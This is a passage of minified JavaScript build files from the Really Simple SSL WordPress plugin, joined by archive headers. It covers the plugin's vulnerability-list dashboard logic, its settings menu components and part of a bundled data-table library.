button-secondary",href:(0,r.g)("https://really-simple-ssl.com/vulnerability/"+e.rss_identifier),target:"_blank",rel:"noopener noreferrer"},(0,i.__)("Details","really-simple-ssl")),(0,a.createElement)("a",{disabled:!e.update_available,href:t,className:"rsssl-button button-primary"},(0,i.__)("Update","really-simple-ssl")))})));let o=s.data.riskData;Array.isArray(o)||(o=[]),o=l().enforceCascadingRiskLevels(o),e((0,c.jM)((e=>{e.vulnerabilities=d,e.vulList=m,e.updates=s.data.updates,e.dataLoaded=!0,e.riskNaming=s.data.riskNaming,e.lastChecked=s.data.lastChecked,e.vulEnabled=s.data.vulEnabled,e.riskData=o,e.processing=!1})))}catch(e){console.error(e)}},vulnerabilityCount:()=>{let e=l().vulList,t=[];return Object.keys(e).forEach((function(l){t.push(e[l])})),["c","h","m","l"].map((function(e){return{level:e,count:t.filter((function(l){return l.risk_level===e})).length}}))},vulnerabilityScore:()=>{let e=0,t=l().vulList;return Object.keys(t).forEach((function(l){"c"===t[l].risk_level?e=5:e<1&&(e=1)})),e},hardeningScore:()=>{let e=0,t=l().vulnerabilities;for(let l=0;l<t.length;l++)e+=t[l].hardening_score;return e},activateVulnerabilityScanner:async()=>{try{(await n.Eo("rsssl_scan_files")).request_success&&await l().fetchVulnerabilities()}catch(e){console.error(e)}}})))},1075:(e,l,t)=>{t.d(l,{A:()=>a});const a=(0,t(3478).A)({typography:{fontSize:12,fontFamily:"inherit"},components:{MuiAutocomplete:{styleOverrides:{inputRoot:{"& .MuiAutocomplete-input":{border:0},flexWrap:"inherit"},popper:{fontSize:"12px"},paper:{fontSize:"12px"},option:{fontSize:"12px"}}},MuiInputBase:{styleOverrides:{root:{fontSize:"12px",fontFamily:"inherit",height:"40px"}}},MuiList:{styleOverrides:{root:{fontSize:"8px"}}}}})}}]);really-simple-ssl/settings/build/483.426b909c845c79e7eec5.js000064400000005312147510273070016607 0ustar00"use strict";(self.webpackChunkreally_simple_ssl=self.webpackChunkreally_simple_ssl||[]).push([[483],{5483:(e,s,t)=>{t.r(s),t.d(s,{default:()=>r});var m=t(1609);const l=()=>(0,m.createElement)("div",{className:"rsssl-wizard-menu rsssl-grid-item rsssl-menu-placeholder"},(0,m.createElement)("div",{className:"rsssl-grid-item-header"},(0,m.createElement)("h1",{className:"rsssl-h4"})),(0,m.createElement)("div",{className:"rsssl-grid-item-content"}));var n=t(4144),a=t(2043);const r=()=>{const{subMenu:e,subMenuLoaded:s}=(0,a.A)();return s?(0,m.createElement)("div",{className:"rsssl-wizard-menu rsssl-grid-item"},(0,m.createElement)("div",{className:"rsssl-grid-item-header"},(0,m.createElement)("h1",{className:"rsssl-h4"},e.title)),(0,m.createElement)("div",{className:"rsssl-grid-item-content"},(0,m.createElement)("div",{className:"rsssl-wizard-menu-items"},e.menu_items.map(((e,s)=>(0,m.createElement)(n.A,{key:"menuItem-"+s,menuItem:e,isMainMenu:!0}))))),(0,m.createElement)("div",{className:"rsssl-grid-item-footer"})):(0,m.createElement)(l,null)}},4144:(e,s,t)=>{t.d(s,{A:()=>r});var m=t(1609),l=t(7723),n=t(2043);const a=e=>{const{selectedSubMenuItem:s,selectedMainMenuItem:t,subMenu:r,menu:u}=(0,n.A)(),c=i(s,e.menuItem);let d=c?" rsssl-active":"";d+=e.menuItem.featured?" rsssl-featured":"",d+=e.menuItem.new?" rsssl-new":"",d+=e.menuItem.premium&&!rsssl_settings.pro_plugin_active?" rsssl-premium":"";let E=e.menuItem.directLink||"#"+t+"/"+e.menuItem.id;return(0,m.createElement)(m.Fragment,null,e.menuItem.visible&&(0,m.createElement)(m.Fragment,null,e.isMainMenu?(0,m.createElement)("div",{className:"rsssl-main-menu"},(0,m.createElement)("div",{className:"rsssl-menu-item"+d},(0,m.createElement)("a",{href:E},(0,m.createElement)("span",null,e.menuItem.title),e.menuItem.featured&&(0,m.createElement)("span",{className:"rsssl-menu-item-beta-pill"},(0,l.__)("Beta","really-simple-ssl")),e.menuItem.new&&(0,m.createElement)("span",{className:"rsssl-menu-item-new-pill"},(0,l.__)("New","really-simple-ssl"))))):(0,m.createElement)("div",{className:"rsssl-menu-item"+d},(0,m.createElement)("a",{href:E},(0,m.createElement)("span",null,e.menuItem.title),e.menuItem.featured&&(0,m.createElement)("span",{className:"rsssl-menu-item-beta-pill"},(0,l.__)("Beta","really-simple-ssl")),e.menuItem.new&&(0,m.createElement)("span",{className:"rsssl-menu-item-new-pill"},(0,l.__)("New","really-simple-ssl")))),e.menuItem.menu_items&&c&&(0,m.createElement)("div",{className:"rsssl-submenu-item"},(p=e.menuItem.menu_items,Array.isArray(p)?p:[p]).map(((e,s)=>e.visible&&(0,m.createElement)(a,{key:"submenuItem"+s,menuItem:e,isMainMenu:!1}))))));var p},r=a,i=(e,s)=>{if(e===s.id)return!0;if(s.menu_items)for(const t of s.menu_items)if(t.id===e)return!0;return!1}}}]);really-simple-ssl/settings/build/129.cebe3ab8c4a7c3479015.js000064400000415244147510273070016724 0ustar00(self.webpackChunkreally_simple_ssl=self.webpackChunkreally_simple_ssl||[]).push([[129],{3757:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=n(1609),r=n(5713);function i(e){return e&&"object"==typeof e&&"default"in e?e:{default:e}}var a,s=function(e){if(e&&e.__esModule)return e;var t=Object.create(null);return e&&Object.keys(e).forEach((function(n){if("default"!==n){var o=Object.getOwnPropertyDescriptor(e,n);Object.defineProperty(t,n,o.get?o:{enumerable:!0,get:function(){return e[n]}})}})),t.default=e,Object.freeze(t)}(o),l=i(o),c=i(r);function u(e,t){return e[t]}function d(e=[],t,n=0){return[...e.slice(0,n),t,...e.slice(n)]}function p(e=[],t,n="id"){const o=e.slice(),r=u(t,n);return r?o.splice(o.findIndex((e=>u(e,n)===r)),1):o.splice(o.findIndex((e=>e===t)),1),o}function f(e){return e.map(((e,t)=>{const n=Object.assign(Object.assign({},e),{sortable:e.sortable||!!e.sortFunction||void 0});return e.id||(n.id=t+1),n}))}function g(e,t){return Math.ceil(e/t)}function h(e,t){return Math.min(e,t)}!function(e){e.ASC="asc",e.DESC="desc"}(a||(a={}));const m=()=>null;function b(e,t=[],n=[]){let o={},r=[...n];return t.length&&t.forEach((t=>{if(!t.when||"function"!=typeof t.when)throw new Error('"when" must be defined in the conditional style object and must be function');t.when(e)&&(o=t.style||{},t.classNames&&(r=[...r,...t.classNames]),"function"==typeof t.style&&(o=t.style(e)||{}))})),{conditionalStyle:o,classNames:r.join(" ")}}function v(e,t=[],n="id"){const o=u(e,n);return o?t.some((e=>u(e,n)===o)):t.some((t=>t===e))}function w(e,t){return t?e.findIndex((e=>y(e.id,t))):-1}function y(e,t){return e==t}function C(e,t){const n=!e.toggleOnSelectedRowsChange;switch(t.type){case"SELECT_ALL_ROWS":{const{keyField:n,rows:o,rowCount:r,mergeSelections:i}=t,a=!e.allSelected,s=!e.toggleOnSelectedRowsChange;if(i){const t=a?[...e.selectedRows,...o.filter((t=>!v(t,e.selectedRows,n)))]:e.selectedRows.filter((e=>!v(e,o,n)));return Object.assign(Object.assign({},e),{allSelected:a,selectedCount:t.length,selectedRows:t,toggleOnSelectedRowsChange:s})}return Object.assign(Object.assign({},e),{allSelected:a,selectedCount:a?r:0,selectedRows:a?o:[],toggleOnSelectedRowsChange:s})}case"SELECT_SINGLE_ROW":{const{keyField:o,row:r,isSelected:i,rowCount:a,singleSelect:s}=t;return s?i?Object.assign(Object.assign({},e),{selectedCount:0,allSelected:!1,selectedRows:[],toggleOnSelectedRowsChange:n}):Object.assign(Object.assign({},e),{selectedCount:1,allSelected:!1,selectedRows:[r],toggleOnSelectedRowsChange:n}):i?Object.assign(Object.assign({},e),{selectedCount:e.selectedRows.length>0?e.selectedRows.length-1:0,allSelected:!1,selectedRows:p(e.selectedRows,r,o),toggleOnSelectedRowsChange:n}):Object.assign(Object.assign({},e),{selectedCount:e.selectedRows.length+1,allSelected:e.selectedRows.length+1===a,selectedRows:d(e.selectedRows,r),toggleOnSelectedRowsChange:n})}case"SELECT_MULTIPLE_ROWS":{const{keyField:o,selectedRows:r,totalRows:i,mergeSelections:a}=t;if(a){const t=[...e.selectedRows,...r.filter((t=>!v(t,e.selectedRows,o)))];return Object.assign(Object.assign({},e),{selectedCount:t.length,allSelected:!1,selectedRows:t,toggleOnSelectedRowsChange:n})}return Object.assign(Object.assign({},e),{selectedCount:r.length,allSelected:r.length===i,selectedRows:r,toggleOnSelectedRowsChange:n})}case"CLEAR_SELECTED_ROWS":{const{selectedRowsFlag:n}=t;return Object.assign(Object.assign({},e),{allSelected:!1,selectedCount:0,selectedRows:[],selectedRowsFlag:n})}case"SORT_CHANGE":{const{sortDirection:o,selectedColumn:r,clearSelectedOnSort:i}=t;return Object.assign(Object.assign(Object.assign({},e),{selectedColumn:r,sortDirection:o,currentPage:1}),i&&{allSelected:!1,selectedCount:0,selectedRows:[],toggleOnSelectedRowsChange:n})}case"CHANGE_PAGE":{const{page:o,paginationServer:r,visibleOnly:i,persistSelectedOnPageChange:a}=t,s=r&&a,l=r&&!a||i;return Object.assign(Object.assign(Object.assign(Object.assign({},e),{currentPage:o}),s&&{allSelected:!1}),l&&{allSelected:!1,selectedCount:0,selectedRows:[],toggleOnSelectedRowsChange:n})}case"CHANGE_ROWS_PER_PAGE":{const{rowsPerPage:n,page:o}=t;return Object.assign(Object.assign({},e),{currentPage:o,rowsPerPage:n})}}}const x=r.css`
	pointer-events: none;
	opacity: 0.4;
`,S=c.default.div`
	position: relative;
	box-sizing: border-box;
	display: flex;
	flex-direction: column;
	width: 100%;
	height: 100%;
	max-width: 100%;
	${({disabled:e})=>e&&x};
	${({theme:e})=>e.table.style};
`,O=r.css`
	position: sticky;
	position: -webkit-sticky; /* Safari */
	top: 0;
	z-index: 1;
`,R=c.default.div`
	display: flex;
	width: 100%;
	${({$fixedHeader:e})=>e&&O};
	${({theme:e})=>e.head.style};
`,E=c.default.div`
	display: flex;
	align-items: stretch;
	width: 100%;
	${({theme:e})=>e.headRow.style};
	${({$dense:e,theme:t})=>e&&t.headRow.denseStyle};
`,k=(e,...t)=>r.css`
		@media screen and (max-width: ${599}px) {
			${r.css(e,...t)}
		}
	`,I=(e,...t)=>r.css`
		@media screen and (max-width: ${959}px) {
			${r.css(e,...t)}
		}
	`,A=(e,...t)=>r.css`
		@media screen and (max-width: ${1280}px) {
			${r.css(e,...t)}
		}
	`,P=c.default.div`
	position: relative;
	display: flex;
	align-items: center;
	box-sizing: border-box;
	line-height: normal;
	${({theme:e,$headCell:t})=>e[t?"headCells":"cells"].style};
	${({$noPadding:e})=>e&&"padding: 0"};
`,D=c.default(P)`
	flex-grow: ${({button:e,grow:t})=>0===t||e?0:t||1};
	flex-shrink: 0;
	flex-basis: 0;
	max-width: ${({maxWidth:e})=>e||"100%"};
	min-width: ${({minWidth:e})=>e||"100px"};
	${({width:e})=>e&&r.css`
			min-width: ${e};
			max-width: ${e};
		`};
	${({right:e})=>e&&"justify-content: flex-end"};
	${({button:e,center:t})=>(t||e)&&"justify-content: center"};
	${({compact:e,button:t})=>(e||t)&&"padding: 0"};

	/* handle hiding cells */
	${({hide:e})=>e&&"sm"===e&&k`
    display: none;
  `};
	${({hide:e})=>e&&"md"===e&&I`
    display: none;
  `};
	${({hide:e})=>e&&"lg"===e&&A`
    display: none;
  `};
	${({hide:e})=>e&&Number.isInteger(e)&&(e=>(t,...n)=>r.css`
			@media screen and (max-width: ${e}px) {
				${r.css(t,...n)}
			}
		`)(e)`
    display: none;
  `};
`,M=r.css`
	div:first-child {
		white-space: ${({$wrapCell:e})=>e?"normal":"nowrap"};
		overflow: ${({$allowOverflow:e})=>e?"visible":"hidden"};
		text-overflow: ellipsis;
	}
`,F=c.default(D).attrs((e=>({style:e.style})))`
	${({$renderAsCell:e})=>!e&&M};
	${({theme:e,$isDragging:t})=>t&&e.cells.draggingStyle};
	${({$cellStyle:e})=>e};
`;var L=s.memo((function({id:e,column:t,row:n,rowIndex:o,dataTag:r,isDragging:i,onDragStart:a,onDragOver:l,onDragEnd:c,onDragEnter:u,onDragLeave:d}){const{conditionalStyle:p,classNames:f}=b(n,t.conditionalCellStyles,["rdt_TableCell"]);return s.createElement(F,{id:e,"data-column-id":t.id,role:"cell",className:f,"data-tag":r,$cellStyle:t.style,$renderAsCell:!!t.cell,$allowOverflow:t.allowOverflow,button:t.button,center:t.center,compact:t.compact,grow:t.grow,hide:t.hide,maxWidth:t.maxWidth,minWidth:t.minWidth,right:t.right,width:t.width,$wrapCell:t.wrap,style:p,$isDragging:i,onDragStart:a,onDragOver:l,onDragEnd:c,onDragEnter:u,onDragLeave:d},!t.cell&&s.createElement("div",{"data-tag":r},function(e,t,n,o){return t?n&&"function"==typeof n?n(e,o):t(e,o):null}(n,t.selector,t.format,o)),t.cell&&t.cell(n,o,t,e))}));const T="input";var V=s.memo((function({name:e,component:t=T,componentOptions:n={style:{}},indeterminate:o=!1,checked:r=!1,disabled:i=!1,onClick:a=m}){const l=t,c=l!==T?n.style:(e=>Object.assign(Object.assign({fontSize:"18px"},!e&&{cursor:"pointer"}),{padding:0,marginTop:"1px",verticalAlign:"middle",position:"relative"}))(i),u=s.useMemo((()=>function(e,...t){let n;return Object.keys(e).map((t=>e[t])).forEach(((o,r)=>{const i=e;"function"==typeof o&&(n=Object.assign(Object.assign({},i),{[Object.keys(e)[r]]:o(...t)}))})),n||e}(n,o)),[n,o]);return s.createElement(l,Object.assign({type:"checkbox",ref:e=>{e&&(e.indeterminate=o)},style:c,onClick:i?m:a,name:e,"aria-label":e,checked:r,disabled:i},u,{onChange:m}))}));const H=c.default(P)`
	flex: 0 0 48px;
	min-width: 48px;
	justify-content: center;
	align-items: center;
	user-select: none;
	white-space: nowrap;
`;function $({name:e,keyField:t,row:n,rowCount:o,selected:r,selectableRowsComponent:i,selectableRowsComponentProps:a,selectableRowsSingle:l,selectableRowDisabled:c,onSelectedRow:u}){const d=!(!c||!c(n));return s.createElement(H,{onClick:e=>e.stopPropagation(),className:"rdt_TableCell",$noPadding:!0},s.createElement(V,{name:e,component:i,componentOptions:a,checked:r,"aria-checked":r,onClick:()=>{u({type:"SELECT_SINGLE_ROW",row:n,isSelected:r,keyField:t,rowCount:o,singleSelect:l})},disabled:d}))}const j=c.default.button`
	display: inline-flex;
	align-items: center;
	user-select: none;
	white-space: nowrap;
	border: none;
	background-color: transparent;
	${({theme:e})=>e.expanderButton.style};
`;function _({disabled:e=!1,expanded:t=!1,expandableIcon:n,id:o,row:r,onToggled:i}){const a=t?n.expanded:n.collapsed;return s.createElement(j,{"aria-disabled":e,onClick:()=>i&&i(r),"data-testid":`expander-button-${o}`,disabled:e,"aria-label":t?"Collapse Row":"Expand Row",role:"button",type:"button"},a)}const z=c.default(P)`
	white-space: nowrap;
	font-weight: 400;
	min-width: 48px;
	${({theme:e})=>e.expanderCell.style};
`;function N({row:e,expanded:t=!1,expandableIcon:n,id:o,onToggled:r,disabled:i=!1}){return s.createElement(z,{onClick:e=>e.stopPropagation(),$noPadding:!0},s.createElement(_,{id:o,row:e,expanded:t,expandableIcon:n,disabled:i,onToggled:r}))}const B=c.default.div`
	width: 100%;
	box-sizing: border-box;
	${({theme:e})=>e.expanderRow.style};
	${({$extendedRowStyle:e})=>e};
`;var Y=s.memo((function({data:e,ExpanderComponent:t,expanderComponentProps:n,extendedRowStyle:o,extendedClassNames:r}){const i=["rdt_ExpanderRow",...r.split(" ").filter((e=>"rdt_TableRow"!==e))].join(" ");return s.createElement(B,{className:i,$extendedRowStyle:o},s.createElement(t,Object.assign({data:e},n)))}));const W="allowRowEvents";var U,G,q;t.Direction=void 0,(U=t.Direction||(t.Direction={})).LTR="ltr",U.RTL="rtl",U.AUTO="auto",t.Alignment=void 0,(G=t.Alignment||(t.Alignment={})).LEFT="left",G.RIGHT="right",G.CENTER="center",t.Media=void 0,(q=t.Media||(t.Media={})).SM="sm",q.MD="md",q.LG="lg";const X=r.css`
	&:hover {
		${({$highlightOnHover:e,theme:t})=>e&&t.rows.highlightOnHoverStyle};
	}
`,J=r.css`
	&:hover {
		cursor: pointer;
	}
`,K=c.default.div.attrs((e=>({style:e.style})))`
	display: flex;
	align-items: stretch;
	align-content: stretch;
	width: 100%;
	box-sizing: border-box;
	${({theme:e})=>e.rows.style};
	${({$dense:e,theme:t})=>e&&t.rows.denseStyle};
	${({$striped:e,theme:t})=>e&&t.rows.stripedStyle};
	${({$highlightOnHover:e})=>e&&X};
	${({$pointerOnHover:e})=>e&&J};
	${({$selected:e,theme:t})=>e&&t.rows.selectedHighlightStyle};
	${({$conditionalStyle:e})=>e};
`;function Z({columns:e=[],conditionalRowStyles:t=[],defaultExpanded:n=!1,defaultExpanderDisabled:o=!1,dense:r=!1,expandableIcon:i,expandableRows:a=!1,expandableRowsComponent:l,expandableRowsComponentProps:c,expandableRowsHideExpander:d,expandOnRowClicked:p=!1,expandOnRowDoubleClicked:f=!1,highlightOnHover:g=!1,id:h,expandableInheritConditionalStyles:v,keyField:w,onRowClicked:C=m,onRowDoubleClicked:x=m,onRowMouseEnter:S=m,onRowMouseLeave:O=m,onRowExpandToggled:R=m,onSelectedRow:E=m,pointerOnHover:k=!1,row:I,rowCount:A,rowIndex:P,selectableRowDisabled:D=null,selectableRows:M=!1,selectableRowsComponent:F,selectableRowsComponentProps:T,selectableRowsHighlight:V=!1,selectableRowsSingle:H=!1,selected:j,striped:_=!1,draggingColumnId:z,onDragStart:B,onDragOver:U,onDragEnd:G,onDragEnter:q,onDragLeave:X}){const[J,Z]=s.useState(n);s.useEffect((()=>{Z(n)}),[n]);const Q=s.useCallback((()=>{Z(!J),R(!J,I)}),[J,R,I]),ee=k||a&&(p||f),te=s.useCallback((e=>{e.target.getAttribute("data-tag")===W&&(C(I,e),!o&&a&&p&&Q())}),[o,p,a,Q,C,I]),ne=s.useCallback((e=>{e.target.getAttribute("data-tag")===W&&(x(I,e),!o&&a&&f&&Q())}),[o,f,a,Q,x,I]),oe=s.useCallback((e=>{S(I,e)}),[S,I]),re=s.useCallback((e=>{O(I,e)}),[O,I]),ie=u(I,w),{conditionalStyle:ae,classNames:se}=b(I,t,["rdt_TableRow"]),le=V&&j,ce=v?ae:{},ue=_&&P%2==0;return s.createElement(s.Fragment,null,s.createElement(K,{id:`row-${h}`,role:"row",$striped:ue,$highlightOnHover:g,$pointerOnHover:!o&&ee,$dense:r,onClick:te,onDoubleClick:ne,onMouseEnter:oe,onMouseLeave:re,className:se,$selected:le,$conditionalStyle:ae},M&&s.createElement($,{name:`select-row-${ie}`,keyField:w,row:I,rowCount:A,selected:j,selectableRowsComponent:F,selectableRowsComponentProps:T,selectableRowDisabled:D,selectableRowsSingle:H,onSelectedRow:E}),a&&!d&&s.createElement(N,{id:ie,expandableIcon:i,expanded:J,row:I,onToggled:Q,disabled:o}),e.map((e=>e.omit?null:s.createElement(L,{id:`cell-${e.id}-${ie}`,key:`cell-${e.id}-${ie}`,dataTag:e.ignoreRowClick||e.button?null:W,column:e,row:I,rowIndex:P,isDragging:y(z,e.id),onDragStart:B,onDragOver:U,onDragEnd:G,onDragEnter:q,onDragLeave:X})))),a&&J&&s.createElement(Y,{key:`expander-${ie}`,data:I,extendedRowStyle:ce,extendedClassNames:se,ExpanderComponent:l,expanderComponentProps:c}))}const Q=c.default.span`
	padding: 2px;
	color: inherit;
	flex-grow: 0;
	flex-shrink: 0;
	${({$sortActive:e})=>e?"opacity: 1":"opacity: 0"};
	${({$sortDirection:e})=>"desc"===e&&"transform: rotate(180deg)"};
`,ee=({sortActive:e,sortDirection:t})=>l.default.createElement(Q,{$sortActive:e,$sortDirection:t},"▲"),te=c.default(D)`
	${({button:e})=>e&&"text-align: center"};
	${({theme:e,$isDragging:t})=>t&&e.headCells.draggingStyle};
`,ne=r.css`
	cursor: pointer;
	span.__rdt_custom_sort_icon__ {
		i,
		svg {
			transform: 'translate3d(0, 0, 0)';
			${({$sortActive:e})=>e?"opacity: 1":"opacity: 0"};
			color: inherit;
			font-size: 18px;
			height: 18px;
			width: 18px;
			backface-visibility: hidden;
			transform-style: preserve-3d;
			transition-duration: 95ms;
			transition-property: transform;
		}

		&.asc i,
		&.asc svg {
			transform: rotate(180deg);
		}
	}

	${({$sortActive:e})=>!e&&r.css`
			&:hover,
			&:focus {
				opacity: 0.7;

				span,
				span.__rdt_custom_sort_icon__ * {
					opacity: 0.7;
				}
			}
		`};
`,oe=c.default.div`
	display: inline-flex;
	align-items: center;
	justify-content: inherit;
	height: 100%;
	width: 100%;
	outline: none;
	user-select: none;
	overflow: hidden;
	${({disabled:e})=>!e&&ne};
`,re=c.default.div`
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
`;var ie=s.memo((function({column:e,disabled:t,draggingColumnId:n,selectedColumn:o={},sortDirection:r,sortIcon:i,sortServer:l,pagination:c,paginationServer:u,persistSelectedOnSort:d,selectableRowsVisibleOnly:p,onSort:f,onDragStart:g,onDragOver:h,onDragEnd:m,onDragEnter:b,onDragLeave:v}){s.useEffect((()=>{"string"==typeof e.selector&&console.error(`Warning: ${e.selector} is a string based column selector which has been deprecated as of v7 and will be removed in v8. Instead, use a selector function e.g. row => row[field]...`)}),[]);const[w,C]=s.useState(!1),x=s.useRef(null);if(s.useEffect((()=>{x.current&&C(x.current.scrollWidth>x.current.clientWidth)}),[w]),e.omit)return null;const S=()=>{if(!e.sortable&&!e.selector)return;let t=r;y(o.id,e.id)&&(t=r===a.ASC?a.DESC:a.ASC),f({type:"SORT_CHANGE",sortDirection:t,selectedColumn:e,clearSelectedOnSort:c&&u&&!d||l||p})},O=e=>s.createElement(ee,{sortActive:e,sortDirection:r}),R=()=>s.createElement("span",{className:[r,"__rdt_custom_sort_icon__"].join(" ")},i),E=!(!e.sortable||!y(o.id,e.id)),k=!e.sortable||t,I=e.sortable&&!i&&!e.right,A=e.sortable&&!i&&e.right,P=e.sortable&&i&&!e.right,D=e.sortable&&i&&e.right;return s.createElement(te,{"data-column-id":e.id,className:"rdt_TableCol",$headCell:!0,allowOverflow:e.allowOverflow,button:e.button,compact:e.compact,grow:e.grow,hide:e.hide,maxWidth:e.maxWidth,minWidth:e.minWidth,right:e.right,center:e.center,width:e.width,draggable:e.reorder,$isDragging:y(e.id,n),onDragStart:g,onDragOver:h,onDragEnd:m,onDragEnter:b,onDragLeave:v},e.name&&s.createElement(oe,{"data-column-id":e.id,"data-sort-id":e.id,role:"columnheader",tabIndex:0,className:"rdt_TableCol_Sortable",onClick:k?void 0:S,onKeyPress:k?void 0:e=>{"Enter"===e.key&&S()},$sortActive:!k&&E,disabled:k},!k&&D&&R(),!k&&A&&O(E),"string"==typeof e.name?s.createElement(re,{title:w?e.name:void 0,ref:x,"data-column-id":e.id},e.name):e.name,!k&&P&&R(),!k&&I&&O(E)))}));const ae=c.default(P)`
	flex: 0 0 48px;
	justify-content: center;
	align-items: center;
	user-select: none;
	white-space: nowrap;
	font-size: unset;
`;function se({headCell:e=!0,rowData:t,keyField:n,allSelected:o,mergeSelections:r,selectedRows:i,selectableRowsComponent:a,selectableRowsComponentProps:l,selectableRowDisabled:c,onSelectAllRows:u}){const d=i.length>0&&!o,p=c?t.filter((e=>!c(e))):t,f=0===p.length,g=Math.min(t.length,p.length);return s.createElement(ae,{className:"rdt_TableCol",$headCell:e,$noPadding:!0},s.createElement(V,{name:"select-all-rows",component:a,componentOptions:l,onClick:()=>{u({type:"SELECT_ALL_ROWS",rows:p,rowCount:g,mergeSelections:r,keyField:n})},checked:o,indeterminate:d,disabled:f}))}function le(e=t.Direction.AUTO){const n="object"==typeof window,[o,r]=s.useState(!1);return s.useEffect((()=>{if(n)if("auto"!==e)r("rtl"===e);else{const e=!(!window.document||!window.document.createElement),t=document.getElementsByTagName("BODY")[0],n=document.getElementsByTagName("HTML")[0],o="rtl"===t.dir||"rtl"===n.dir;r(e&&o)}}),[e,n]),o}const ce=c.default.div`
	display: flex;
	align-items: center;
	flex: 1 0 auto;
	height: 100%;
	color: ${({theme:e})=>e.contextMenu.fontColor};
	font-size: ${({theme:e})=>e.contextMenu.fontSize};
	font-weight: 400;
`,ue=c.default.div`
	display: flex;
	align-items: center;
	justify-content: flex-end;
	flex-wrap: wrap;
`,de=c.default.div`
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	box-sizing: inherit;
	z-index: 1;
	align-items: center;
	justify-content: space-between;
	display: flex;
	${({$rtl:e})=>e&&"direction: rtl"};
	${({theme:e})=>e.contextMenu.style};
	${({theme:e,$visible:t})=>t&&e.contextMenu.activeStyle};
`;function pe({contextMessage:e,contextActions:t,contextComponent:n,selectedCount:o,direction:r}){const i=le(r),a=o>0;return n?s.createElement(de,{$visible:a},s.cloneElement(n,{selectedCount:o})):s.createElement(de,{$visible:a,$rtl:i},s.createElement(ce,null,((e,t,n)=>{if(0===t)return null;const o=1===t?e.singular:e.plural;return n?`${t} ${e.message||""} ${o}`:`${t} ${o} ${e.message||""}`})(e,o,i)),s.createElement(ue,null,t))}const fe=c.default.div`
	position: relative;
	box-sizing: border-box;
	overflow: hidden;
	display: flex;
	flex: 1 1 auto;
	align-items: center;
	justify-content: space-between;
	width: 100%;
	flex-wrap: wrap;
	${({theme:e})=>e.header.style}
`,ge=c.default.div`
	flex: 1 0 auto;
	color: ${({theme:e})=>e.header.fontColor};
	font-size: ${({theme:e})=>e.header.fontSize};
	font-weight: 400;
`,he=c.default.div`
	flex: 1 0 auto;
	display: flex;
	align-items: center;
	justify-content: flex-end;

	> * {
		margin-left: 5px;
	}
`,me=({title:e,actions:t=null,contextMessage:n,contextActions:o,contextComponent:r,selectedCount:i,direction:a,showMenu:l=!0})=>s.createElement(fe,{className:"rdt_TableHeader",role:"heading","aria-level":1},s.createElement(ge,null,e),t&&s.createElement(he,null,t),l&&s.createElement(pe,{contextMessage:n,contextActions:o,contextComponent:r,direction:a,selectedCount:i}));function be(e,t){var n={};for(var o in e)Object.prototype.hasOwnProperty.call(e,o)&&t.indexOf(o)<0&&(n[o]=e[o]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var r=0;for(o=Object.getOwnPropertySymbols(e);r<o.length;r++)t.indexOf(o[r])<0&&Object.prototype.propertyIsEnumerable.call(e,o[r])&&(n[o[r]]=e[o[r]])}return n}"function"==typeof SuppressedError&&SuppressedError;const ve={left:"flex-start",right:"flex-end",center:"center"},we=c.default.header`
	position: relative;
	display: flex;
	flex: 1 1 auto;
	box-sizing: border-box;
	align-items: center;
	padding: 4px 16px 4px 24px;
	width: 100%;
	justify-content: ${({align:e})=>ve[e]};
	flex-wrap: ${({$wrapContent:e})=>e?"wrap":"nowrap"};
	${({theme:e})=>e.subHeader.style}
`,ye=e=>{var{align:t="right",wrapContent:n=!0}=e,o=be(e,["align","wrapContent"]);return s.createElement(we,Object.assign({align:t,$wrapContent:n},o))},Ce=c.default.div`
	display: flex;
	flex-direction: column;
`,xe=c.default.div`
	position: relative;
	width: 100%;
	border-radius: inherit;
	${({$responsive:e,$fixedHeader:t})=>e&&r.css`
			overflow-x: auto;

			// hidden prevents vertical scrolling in firefox when fixedHeader is disabled
			overflow-y: ${t?"auto":"hidden"};
			min-height: 0;
		`};

	${({$fixedHeader:e=!1,$fixedHeaderScrollHeight:t="100vh"})=>e&&r.css`
			max-height: ${t};
			-webkit-overflow-scrolling: touch;
		`};

	${({theme:e})=>e.responsiveWrapper.style};
`,Se=c.default.div`
	position: relative;
	box-sizing: border-box;
	width: 100%;
	height: 100%;
	${e=>e.theme.progress.style};
`,Oe=c.default.div`
	position: relative;
	width: 100%;
	${({theme:e})=>e.tableWrapper.style};
`,Re=c.default(P)`
	white-space: nowrap;
	${({theme:e})=>e.expanderCell.style};
`,Ee=c.default.div`
	box-sizing: border-box;
	width: 100%;
	height: 100%;
	${({theme:e})=>e.noData.style};
`,ke=()=>l.default.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},l.default.createElement("path",{d:"M7 10l5 5 5-5z"}),l.default.createElement("path",{d:"M0 0h24v24H0z",fill:"none"})),Ie=c.default.select`
	cursor: pointer;
	height: 24px;
	max-width: 100%;
	user-select: none;
	padding-left: 8px;
	padding-right: 24px;
	box-sizing: content-box;
	font-size: inherit;
	color: inherit;
	border: none;
	background-color: transparent;
	appearance: none;
	direction: ltr;
	flex-shrink: 0;

	&::-ms-expand {
		display: none;
	}

	&:disabled::-ms-expand {
		background: #f60;
	}

	option {
		color: initial;
	}
`,Ae=c.default.div`
	position: relative;
	flex-shrink: 0;
	font-size: inherit;
	color: inherit;
	margin-top: 1px;

	svg {
		top: 0;
		right: 0;
		color: inherit;
		position: absolute;
		fill: currentColor;
		width: 24px;
		height: 24px;
		display: inline-block;
		user-select: none;
		pointer-events: none;
	}
`,Pe=e=>{var{defaultValue:t,onChange:n}=e,o=be(e,["defaultValue","onChange"]);return s.createElement(Ae,null,s.createElement(Ie,Object.assign({onChange:n,defaultValue:t},o)),s.createElement(ke,null))},De={columns:[],data:[],title:"",keyField:"id",selectableRows:!1,selectableRowsHighlight:!1,selectableRowsNoSelectAll:!1,selectableRowSelected:null,selectableRowDisabled:null,selectableRowsComponent:"input",selectableRowsComponentProps:{},selectableRowsVisibleOnly:!1,selectableRowsSingle:!1,clearSelectedRows:!1,expandableRows:!1,expandableRowDisabled:null,expandableRowExpanded:null,expandOnRowClicked:!1,expandableRowsHideExpander:!1,expandOnRowDoubleClicked:!1,expandableInheritConditionalStyles:!1,expandableRowsComponent:function(){return l.default.createElement("div",null,"To add an expander pass in a component instance via ",l.default.createElement("strong",null,"expandableRowsComponent"),". You can then access props.data from this 